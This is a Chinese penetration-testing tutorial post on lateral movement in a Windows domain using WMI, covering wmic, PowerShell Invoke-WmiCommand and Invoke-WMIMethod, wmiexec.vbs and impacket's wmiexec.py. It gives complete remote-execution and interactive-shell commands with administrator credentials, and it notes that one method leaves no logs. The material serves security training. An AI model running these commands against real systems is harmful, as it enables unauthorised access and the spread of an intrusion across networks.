【渗透测试笔记】之【内网渗透——横向移动:WMI的使用】

1. 自带WMIC

特点:

  1. 不会产生日志记录
  2. 没有回显,若要查看命令结果需要配合IPC$与type命令
wmic /node:10.1.1.2 /user:administrator /password:1234567.com process call create "cmd.exe /c ipconfig >c:\ip.txt"

type \\10.1.1.2\c$\ip.txt

在这里插入图片描述

2. Invoke-WmiCommand.ps1

地址:https://github.com/AA8j/SecTools/tree/main/Invoke-WmiCommand.ps1

特点:

  1. 通过PowerShell脚本来调用WMI命令
  2. 有回显
Import-Module .\Invoke-WmiCommand.ps1;$User = "aa8j\administrator";$Password = ConvertTo-SecureString -String "1234567.com" -AsPlainText -Force;$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 10.1.1.2;$Remote.PayloadOutput
# $User为 域名\用户名
# -String为 "密码"
# -Payload为 {命令}
# -ComputerName为 目标IP

在这里插入图片描述

3. Invoke-WMIMethod.ps1

特点:

  1. PowerShell自带
  2. 无回显
$User = "aa8j\administrator";$Password = ConvertTo-SecureString -String "1234567.com" -AsPlainText -Force;$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "10.1.1.2" -Credential $Cred
# $User为 域名\用户名
# -String为 "密码"
# -ArgumentList为 "要执行的程序"
# -ComputerName为 目标IP

执行后会返回一个进程ID:
在这里插入图片描述
到目标机器查看:
在这里插入图片描述

4. wmiexec.vbs

地址:https://github.com/AA8j/SecTools/tree/main/wmiexec.vbs

特点:

  1. 通过调用WMI来模拟PsExec功能
  2. 在执行诸如ping、systeminfo等命令需要添加“-waite 5000”参数
  3. 有回显

获得交互式shell:

cscript.exe //nologo wmiexec.vbs /shell 10.1.1.2 administrator 1234567.com

在这里插入图片描述

5. wmiexec.py

impacket工具包中的脚本,地址:https://github.com/SecureAuthCorp/impacket

获得一个交互式shell:

proxychains python3 wmiexec.py administrator:1234567.com@10.1.1.2

特点:

  1. 需要内网代理。
  2. 需要python环境。
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值